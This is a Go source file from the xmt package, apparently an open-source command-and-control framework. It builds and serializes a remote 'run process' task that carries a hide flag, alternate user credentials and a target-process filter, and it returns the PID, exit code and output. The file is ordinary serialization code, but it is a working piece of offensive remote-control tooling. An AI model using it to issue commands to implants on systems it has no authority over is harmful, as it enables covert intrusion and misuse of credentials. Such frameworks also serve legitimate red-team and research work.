github.com/iDigitalFlame/xmt@v0.5.4/c2/task/v_process.go (about) 1 //go:build !implant 2 // +build !implant 3 4 // Copyright (C) 2020 - 2023 iDigitalFlame 5 // 6 // This program is free software: you can redistribute it and/or modify 7 // it under the terms of the GNU General Public License as published by 8 // the Free Software Foundation, either version 3 of the License, or 9 // any later version. 10 // 11 // This program is distributed in the hope that it will be useful, 12 // but WITHOUT ANY WARRANTY; without even the implied warranty of 13 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 // GNU General Public License for more details. 15 // 16 // You should have received a copy of the GNU General Public License 17 // along with this program. If not, see <https://www.gnu.org/licenses/>. 18 // 19 20 package task 21 22 import ( 23 "io" 24 25 "github.com/iDigitalFlame/xmt/cmd" 26 "github.com/iDigitalFlame/xmt/com" 27 "github.com/iDigitalFlame/xmt/data" 28 ) 29 30 // Run will create a Tasklet that will instruct the client to run a command. 31 // This command will be parsed using the 'cmd.Split' function. 32 // 33 // The Filter attribute will attempt to set the target that runs the Process. 34 // If none are specified, the Process will be ran under the client process. 35 // 36 // The response to this task will return the PID, ExitCode and Stdout/Stderr 37 // data. 38 // 39 // C2 Details: 40 // 41 // ID: TvExecute 42 // 43 // Input: 44 // Process struct { 45 // []string // Args 46 // string // Dir 47 // []string // Environment 48 // uint32 // Flags 49 // bool // Wait 50 // int64 // Timeout 51 // Filter struct { // Filter 52 // bool // Filter Status 53 // uint32 // PID 54 // bool // Fallback 55 // uint8 // Session 56 // uint8 // Elevated 57 // []string // Exclude 58 // []string // Include 59 // } 60 // []byte // Stdin Data 61 // } 62 // Output: 63 // uint32 // PID 64 // int32 // Exit Code 65 // []byte // Output (Stdout and Stderr) 66 func Run(c string) Process { 67 return Process{Args: cmd.Split(c), Wait: true} 68 } 69 70 // Packet will take the configured Process options and will return a Packet 71 // and any errors that may occur during building. 72 // 73 // This allows Process to fulfil the 'Tasklet' interface. 74 // 75 // C2 Details: 76 // 77 // ID: TvAssembly 78 // 79 // Input: 80 // Process struct { 81 // []string // Args 82 // string // Dir 83 // []string // Environment 84 // uint32 // Flags 85 // bool // Wait 86 // int64 // Timeout 87 // bool // Hide 88 // string // Username 89 // string // Domain 90 // string // Password 91 // Filter struct { // Filter 92 // bool // Filter Status 93 // uint32 // PID 94 // bool // Fallback 95 // uint8 // Session 96 // uint8 // Elevated 97 // []string // Exclude 98 // []string // Include 99 // } 100 // []byte // Stdin Data 101 // } 102 // Output: 103 // uint32 // PID 104 // int32 // Exit Code 105 // []byte // Output (Stdout and Stderr) 106 func (p Process) Packet() (*com.Packet, error) { 107 n := &com.Packet{ID: TvExecute} 108 p.MarshalStream(n) 109 return n, nil 110 } 111 112 // SetStdin wil attempt to read all the data from the supplied reader to fill 113 // the Stdin byte array for this Process struct. 114 // 115 // This function will return an error if any errors occurs during reading. 116 func (p *Process) SetStdin(r io.Reader) error { 117 var err error 118 p.Stdin, err = data.ReadAll(r) 119 return err 120 } 121 122 // MarshalStream writes the data for this Process to the supplied Writer. 123 func (p Process) MarshalStream(w data.Writer) error { 124 if err := data.WriteStringList(w, p.Args); err != nil { 125 return err 126 } 127 if err := w.WriteString(p.Dir); err != nil { 128 return err 129 } 130 if err := data.WriteStringList(w, p.Env); err != nil { 131 return err 132 } 133 if err := w.WriteBool(p.Wait); err != nil { 134 return err 135 } 136 if err := w.WriteUint32(p.Flags); err != nil { 137 return err 138 } 139 if err := w.WriteInt64(int64(p.Timeout)); err != nil { 140 return err 141 } 142 if err := w.WriteBool(p.Hide); err != nil { 143 return err 144 } 145 if err := w.WriteString(p.User); err != nil { 146 return err 147 } 148 if err := w.WriteString(p.Domain); err != nil { 149 return err 150 } 151 if err := w.WriteString(p.Pass); err != nil { 152 return err 153 } 154 if err := p.Filter.MarshalStream(w); err != nil { 155 return err 156 } 157 return w.WriteBytes(p.Stdin) 158 }